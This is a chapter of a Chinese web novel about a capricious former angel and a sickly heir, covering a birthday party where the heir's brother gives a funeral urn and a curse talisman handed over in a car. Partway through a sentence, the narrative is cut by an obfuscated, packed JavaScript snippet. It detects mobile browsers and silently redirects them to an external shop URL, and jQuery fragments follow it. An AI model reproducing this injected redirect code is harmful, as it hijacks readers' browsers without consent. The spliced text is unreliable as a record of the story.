文趣网 > 其他小说 > 天使老婆不装了 > 8. 8
    周澈送的生日礼物,是个骨灰盒。

    虽然是纯金打造,嵌入价值不菲的翡翠宝石,但本质也是个骨灰盒。

    认出这是个骨灰盒的,都不由自主地倒吸一口凉气,目光在两兄弟间疯狂扫射。

    世家人多知道蛇脊周澈的那点恩怨——都是豪门,为了家产什么事没发生过,早见怪不怪。

    但是这种事,很少在明面戳破。

    一来大家都要面子,二来,毕竟身上流的是同样的血,就算闹的再凶,也是要一致对外。

    所以周澈和蛇脊在外人面前,还是相对和谐的。

    尤其是周澈,他是私生子上位,因着蛇脊的身体原因,才得以顺位继承,再者他的人设是知书达理的偏偏公子,因此还努力维持着兄友弟恭的表象。

    世家内部对这种事儿都心照不宣。但是在场的还有社会媒体。社会媒体认知里的周家,可是和和美美的模范世家。

    他们这次,可是实打实见证了大瓜。

    周家大少,和周家主、二少,原来是面和心不和啊。

    花故全方位无死角地展示着骨灰盒,双眸亮晶晶的,看着难得一见的周二公子挂脸:“你送的礼物,好别致啊。”

    周澈沉默了良久,再看向花故时,似乎稳住了心绪,脸上再次露出温柔的微笑。

    他略带歉意地向蛇脊微颔首,诚恳道:“对不起哥,可能是我不小心买错了。”

    蛇脊淡淡地看着他,没有开口。

    花故把骨灰盒放到一旁,再次挽上蛇脊的胳膊。她嗤笑一声,戏谑道:“不小心?”

    “你是说,你不小心走进了商店,不小心选择了款式,不小心确定了定制方案,不小心递出你的卡,不小心输了密码,再不小心打包带走。对吗?”

    蛇脊侧头看她,红唇一张一合,露出嘴里尖尖的齿牙,像极了张牙舞爪的狐狸。

    周重鸿每年都会给他办生日会,召集一众名流,推杯换盏,觥筹交错。让他一个将死之人,还不得不微笑着维持世家体面,低头感恩他所憎恶的人。

    但这一次,有人横冲直撞地戳破所有虚与委蛇,将隐藏在礼物盒之下的恶臭与腐烂剖开,让他也无须再假装。

    虽然周重鸿事后一定不会放过他,但是此刻,蛇脊只觉得畅快。

    感觉到自己臂弯处微微抖着,花故疑惑地瞥了眼身边人,他居然在憋笑。

    周澈的嘴角隐隐抽动着,似乎想保持着上扬的弧度,但不能。最后,他妥协了。

    周澈扶了扶眼镜框,冷淡道:“这次确实是我无心之失,礼物我会再补的,我还有事,先走了。”

    说罢,也不等蛇脊回应,径直转身离去。

    主人公都走一半了,蛇脊也没有继续应酬的意思,剩下的人眼观鼻鼻观心,纷纷找理由告辞。

    花故双手环胸,站定在蛇脊身旁,目送着宾客的离去:“你们人类真有意思。”

    蛇脊挑了挑眉:“怎么说。”

    花故:“一屋子演员。”

    蛇脊笑了笑,不置可否。

    良久,他才开口:“你怎么知道周澈送的礼物是什么?”

    看花故的样子,早有把握,必定早就知道周澈送了个骨灰盒。

    花故歪了歪嘴:“秘密。”

    这还是莱娜跟她说的。

    宾客走的差不多了,花故几人也刚准备离开时,莫名的,花故感觉有人盯着自己。

    顺着感觉的方向看去,只看见一个背影。

    但这个背影,看的花故突然毛骨悚然。

    花故拉住蛇脊,指向那个背影,沉声道:“他是谁?”

    蛇脊疑惑地看着刚还一脸狡黠的花故,突然之间面色阴鸷起来。但他还是先回答着:“季礼。”

    听到这个名字,花故的反应更大。

    一霎那,她感觉浑身发冷,全身所能调动的法力在体内不断膨胀,叫嚣着要往外涌。

    “季,礼?”她一字一顿道,“哪两个字。”

    蛇脊看她情况不对,停下脚步:“季节的季,礼貌的礼。”

    名字不对,花故身上的刺收回了些。她缓了口气,才点点头:“他是什么人?”

    蛇脊:“医生。”

    花故挑眉,那个人,就算来人间,应该也不会当医生吧。

    就他那性格,最起码要当个财阀。

    蛇脊看她渐渐恢复平静,但还是死死盯着那个人离开的方向,有些担忧道:“你怎么了?”

    花故收回视线,再看向蛇脊时,眼里已经带了笑:“没事,以为遇到老熟人了。”

    老熟人?

    蛇脊敏锐地抓住这三个字眼。

    双眼微眯,这是,花故当天使时认识的老熟人吗?

    他知道季礼,除了医术还算可以,其他都非常普通。而且,他和周重鸿走的很近。

    蛇脊有些莫名的不悦。他揽过花故的肩,面无表情道:“走吧,他只是一个普通人,不可能是你的老熟人。”

    花故点点头,临走前不忘带上周澈送的骨灰盒,但路过餐桌时,往里装了些小蛋糕。

    蛇脊扬眉看着她的动作。

    花故边吃着块纸杯蛋糕,边抱着骨灰盒:“其实你弟审美还可以,这盒子做的挺好看,可以拿回去当我的糖果罐。”

    蛇脊看了眼金碧辉煌的骨灰盒,轻笑了笑,没想到天使喜欢这样的。

    “你好像很喜欢吃甜食?”从会场出来到车子里的短短一路,花故吃完了三块纸杯蛋糕,再想到家里的厨子报备,大小姐挑食得很,而且吃食必须放糖,蛇脊猜测道。

    坐上车,花故摸出第四块纸杯蛋糕:“喜欢,吃甜的心情好。”

    蛇脊看了眼她:“你也有心情不好的时候吗?”

    花故摘下纸杯蛋糕上插着的巧克力,递给蛇脊:“那我可太不好了。”

    蛇脊接过巧克力,他不爱吃甜食,但还是轻抿了口。

    99.9%的无糖黑巧,苦得要死。

    怪不得给自己。

    花故吃完最后一块蛋糕,头仰着往后靠着颈枕:“我没有办法自主感受到快乐。所以只能吃点甜的,短暂分泌多巴胺。”

    她笑了笑:“不然我会憋死的。”

    车内光线昏暗,花故一半脸清晰,一半脸匿在暗处。明暗的交错却雕琢着她的五官更加完美。

    她的双眸连最璀璨的宝石都比拟不过,在黑暗处,也熠熠生辉。

    湿漉漉地看着自己。

    纯洁的,悲伤的,兴奋的,鬼气森森的。

    蛇脊猛地移开视线。

    分明没说什么,但她身上,总是若有若无的勾着一股劲。

    让人忍不住想抚上她的脸,将她按入怀中,释放自己所有的恶欲。

    这是蛇脊从来没有的感觉。

    他在花故面前,总有些失控,

    花故看着他悄摸地打开车窗,任夜里凉风灌进,笑眯了眼。

    真好玩。

    “对了,”她摸了摸口袋,掏出一张卷吧卷吧的纸,再递给蛇脊,“生日快乐。”

    蛇脊接过,是张长条的薄纸,打开后,是用线条画的符咒。

    蛇脊见过这个,身边不少人都在神庙求过,保平安的。

    但蛇脊不信这些。

    他家玄关抽屉里还塞着一堆呢,周重鸿和周澈每次去神庙,都得假惺惺地帮他求一张。

    不过,蛇脊再把这张平安符卷吧卷吧,塞进自己的衬衣口袋。

    他柔声道:“谢谢。”

    花故仰了回去,边道:“记得,要随身带着。”

    蛇脊笑了笑,拍拍装着的口袋:“好。”

    前排一言不发但耳听全程的断魄这时才忍不住地,透过后视镜看着自己的主人。

    被夺舍了?

    蛇脊面无表情地回看着他。

    花故看这两眉来眼去的,也懒得拆穿,直接解释:“这不是平安符。”

    两人都看向她。

    “这是生杀符。”

    蛇脊再掏出这纸,展开来看,看不出什么区别。

    不过生杀符,名字听着就不太健康。

    花故继续道:“这是神明赐予的生杀予夺的权力。你可以在心底想着自己讨厌的人,然后毁掉此符,那人就会倒霉。”

    蛇脊哑然失笑,听起来,像是什么恶作剧符咒。

    花故淡淡一笑:“执念越深,恶意越重,效果越好。最严重的,可以直接抹除这个人的一切痕迹,永世不得超生。”

    此话一出,车厢里陷入诡异的沉静。

    蛇脊乍然感觉这纸烫手。

    有点不祥啊……

    花故没管他们的异样,平和地,继续道:“你最好在上面滴一滴你的血,让它认主,这样别人就算捡到了,也用不了。”

    “然后,贴身带着,它才会更了解你想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842763|211680||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要的,发挥出更大的效应。”

    蛇脊嘴角扯了扯:“这么神奇……”

    也这么可怕。

    他看向花故,后者已经在仰着头,闭目养神。

    圣洁的天使,邪恶的诅咒。

    多么违和。

    花故能感觉落在自己身上的,探究的视线。但她也没睁眼,只开口道:“但就你们普通人来说,养一辈子估计也到不了那个程度。”

    “顶多,让讨厌的人发发烧,或者,出门踩到狗屎。”

    上一个让她画这符的,是个游手好闲的皇帝,花了重金,她才勉强答应。然后皇帝把这符用在了老是监督他的宰相身上,宰相拉了一周肚子,他也玩了一周,好不快乐。

    而且,她的神识有缺,又几百年没画过这个符了,手生,出来的效果,可不保证。

    但花故没再细说,这样显得神秘一点。

    蛇脊捻了捻这张符纸,了解过后,薄薄的一张纸,仿佛都沉重许多。

    但最后,他还是捻了捻符纸,再放进衬衣口袋,贴近心口处。

    “谢谢。”他的声音很轻,似乎夜风一吹,就消散了。

    虽然不是传统意义上的平安符,但是,也是另一层意义的“平安”吧。

    很快,就回到周家的庄园。

    刚入大门,车子就被拦下,

    蛇脊降下车窗,窗外的男人,是之前带着花故去见周重鸿的那个。

    但这次的他,脸侧多了一道狰狞的疤,蜿蜒曲折,大有贯穿整张脸的征兆,而且,没有结痂,翻着沾染血丝的肉。

    男人朝着蛇脊道:“老爷有请。”

    蛇脊再把车窗摇上。

    花故挑眉:“还能把你叫走,看来没气晕啊。”

    她还有点失望。

    前头的断魄转过头来,看向蛇脊的目光是浓浓的担忧,分神瞥的花故一眼,又是带着仇意的。

    断魄道:“您还是先不要去了,昨天的伤都还没好全……”

    蛇脊摇摇头:“躲不掉的。”

    花故看他两打哑谜似的,但还是大概听懂一些,总而言之,被周老头请,肯定不是什么好事。

    念此,虽然花故已经困了,还是大发慈悲地开口:“我和你去吧。”

    蛇脊看向她,嘴边噙着温柔的笑:“没事,不用,你先回去休息吧。”

    不容花故拒绝的,蛇脊直接打开车门下了车,前排的断魄也要跟着下车时,蛇脊制止了他:“你送花故回去。”

    断魄拧眉:“我跟您去!”

    蛇脊坚定地摇摇头,随后打开车门,跟着周重鸿的人离开。

    断魄看着自己主子走得坚决,狠狠剜了花故一眼,冷声对司机道:“开车!”

    花故不屑地翻了个白眼。

    把花故送到蛇脊的宅子处,下了车,花故正准备去泡个澡放松一下,断魄就像鬼一样瞬移到她的身边。

    花故吓了一跳,断魄的表情阴鸷,看上去真有种想灭口的气势。

    她叉腰仰头:“干什么,想打人呐?”

    断魄居高临下地看着她,语气森森:“我不知道你到底想干什么,但你最好,谨言慎行。”

    威胁她?花故冷笑出声,她活了成千上万年,还没有人敢让她谨言慎行。

    她想做什么,想说什么,从来就随心所欲。

    所以,她再开口时,语气全然轻蔑:“你算个什么东西,也配让我谨言慎行?”

    断魄的目光沉沉,内里似乎在氤氲着风暴。他的拳头攥紧了又松,最终还是忍下。

    “他现在还没办法摆脱周重鸿的桎梏,惹怒周重鸿,受到惩罚的会是他。”断魄咬了咬牙,模棱两可的地解释道。“所以,我想请你,注意好自己的言行,不要招惹周重鸿。”

    “主人的身体不好,受不了更多的惩罚。”

    他虽凶狠,但确实是护主心切。

    花故大度地平息怒气,原谅他了。

    她摆摆手:“我知道了。”

    不过,为什么蛇脊,还要这么听令周重鸿呢?

    花故眯了眯眼,但她估计断魄不会说,这人一看嘴就难撬。

    见花故要走,断魄犹豫了阵,又叫住她,这次的语气柔和许多:“你的那个药,可以再给我一点吗,很有用。”

    花故侧头乜了他一眼,眉眼弯弯:“蛇脊回来,让他自己来找我。”

    “我会等他。”